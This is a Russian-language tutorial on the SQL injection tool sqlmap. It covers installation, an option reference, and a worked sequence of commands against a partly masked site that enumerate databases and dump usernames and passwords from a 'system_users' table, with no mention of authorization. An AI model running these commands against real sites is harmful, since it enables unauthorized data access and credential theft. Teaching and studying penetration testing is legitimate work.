Публикация на тему

Использование sqlmap для SQL-инъекций

Sqlmap — это инструмент с открытым исходным кодом для тестирования на проникновения на уязвимые сайты, который использует SQL-инъекции.

Автор
Михалькевич Александр Викторович

Публикация

Наименование Использование sqlmap для SQL-инъекций
Автор А.В.Михалькевич
Специальность Sqlmap — это инструмент с открытым исходным кодом для тестирования на проникновения на уязвимые сайты, который использует SQL-инъекции.,
Анотация
Anotation in English
Ключевые слова
Количество символов 6985

Содержание

Введение

1 Зачем нужен sqlmap

Если сайт уязвим к SQL-инъекции, то с помощью sqlmap возможно:

получать информацию из базы данных, в том числе дамп (всю) базу данных

удалять и изменять информацию из базы данных
создать шел на веб-сервере

2 Установка sqlmap

Sqlmap зависит от версии Python 2.6.x или 2.7.x и не зависит от платформы. Инофрмация по установке Python - здесь https://www.python.org/downloads/release/python-279/

Скачать sqlmap можно с gthub.com:

```
 wget 'https://github.com/sqlmapproject/sqlmap/tarball/master' --output-document=sqlmap.tar.gz
```

После скачивания, устанавливаем программу:

```
tar -xvf sqlmap.tar.gz
```

3 Использование уязвимости SQL-инъекция

Для начала, убедимся в том, что sqlmap установлен, и готов к работе.

```
sqlmap.py -h
```

Если появилась справка по sqlmap, значит всё работает как надо! В командной строке sqlmap нужно запускать следующим образом:

```
sqlmap.py  -u http://xxx.by/bigcatalog.php?id_catalog=error --dbs
```

где -u задаёт целевой адрес (вводится обязательно с протоколом http/https);

— dbs параметр для получения имён баз данных, найденных в случае успешной эксплуатации;

Получив список баз данных, можем выбрать интересующую нас базу, и вывести список таблиц текущей базы.

```
sqlmap.py  -u http://xxx.by/bigcatalog.php?id_catalog=error -D bsnby_site –tables
```

Нас интересует: system_users

```
sqlmap.py -u http://xxx.by/bigcatalog.php?id_catalog=error -D bsnby_site -T system_users –columns
```

Теперь дампим первые 10 записей в базе.

```
sqlmap.py -u http://xxx.by/bigcatalog.php?id_catalog=error -D bsnby_site -T system_users -C name,pass  --start=1 --stop=10 –dump
```

4 Состовляющие запроса sqlmap

Запрос в sqlmap состоит из цели и параметров.

Цель

Как минимум один из следующих вариантов должен присутствовать, чтобы определить цель:

```
-d DIRECT           Прямое подключение к базе данных
-u URL, --url=URL   URL цели (например, "www.target.com/vuln.php?id=1")
-l LOGFILE          Вести логи от Burp или WebScarb proxy в файл
-m BULKFILE         Сканирование по списку целей, заданных в переданном файле
-r REQUESTFILE      Загрузить HTTP-запрос из файла
-g GOOGLEDORK       Использовать результат выдачи Google дорков как целевые
url\'ы (site:, inurl:, intext:)
-c CONFIGFILE       Загрузить настройки из конфигурационного INI файла.
```

Параметры

Эти параметры могут быть использованы для перечисления серверных баз данных систем управления информации, структур и данных, содержащихся в таблицах. Более того, вы можете запустить свои собственные SQL запросы

```
-a, --all           Получить всё
-b, --banner        Получить текстовый банер СУБД (фициальное название, номер
версии)
--current-user      Получить текущего пользователя СУБД
--current-db        Получить используемую базу данных
--hostname          Получить имя хоста сервера СУБД
--is-dba            Определить под Админом мы или нет
--users             Перечислить пользователей СУБД
--passwords         Перечислить парольные хэши пользователей СУБД
--privileges        Перечислить привелегии
--roles             Перечислить роли пользователей
--dbs               Перечислить базы данных в СУБД
--tables            Перечислить таблицы текущей БД
--columns           Перечислить колонки текцщей БД
--schema            Перечислить схемы СУБД
--count             Получить кол-во записей в таблицах
--dump              Дамп записей  текущей таблицы БД
--dump-all          Дамп всех таблиц из баз данных в СУБД
--search            Поиск колонок, таблиц и/или имен БД
--comments          Получить комментарии СУБД
-D DB               База данных в СУБД для перечисления
-T TBL              Таблица СУБД для перечисления
-C COL              Колонока таблицы СУБД для перечисления
-X EXCLUDECOL       Не перечислять последующие колонки
-U USER             Пользователь СУБД для перечесления
--exclude-sysdbs    Исключить системные базы данных СУБД при перечислении
таблиц
```

```
--where=DUMPWHERE   Использовать WHERE, если таблица скрыта
--start=LIMITSTART  Извлекать первую запись результата запроса
--stop=LIMITSTOP    Извлекать последнюю запись результата запроса
--first=FIRSTCHAR   Извлекать первый символ слова в результате запроса
--last=LASTCHAR     Извлекать последний символ слова в результате запроса
--sql-query=QUERY   SQL запросы, которые должны быть выполнены
--sql-shell         Вызов интерактивного SQL shell\'a
--sql-file=SQLFILE  Выполнить SQL запросы из файла(ов)
```

Заключение

Список использованных источников

1. [Печатное издание] **Программируем на Python** Доусон М. – СПб.: Питер, 2014. – 416 с.
2. [Печатное издание] **Программирование на Python, том I, 4-е издание.** Лутц М. – Пер. с англ. – СПб.: Символ-Плюс, 2011. – 992 с.

Приложения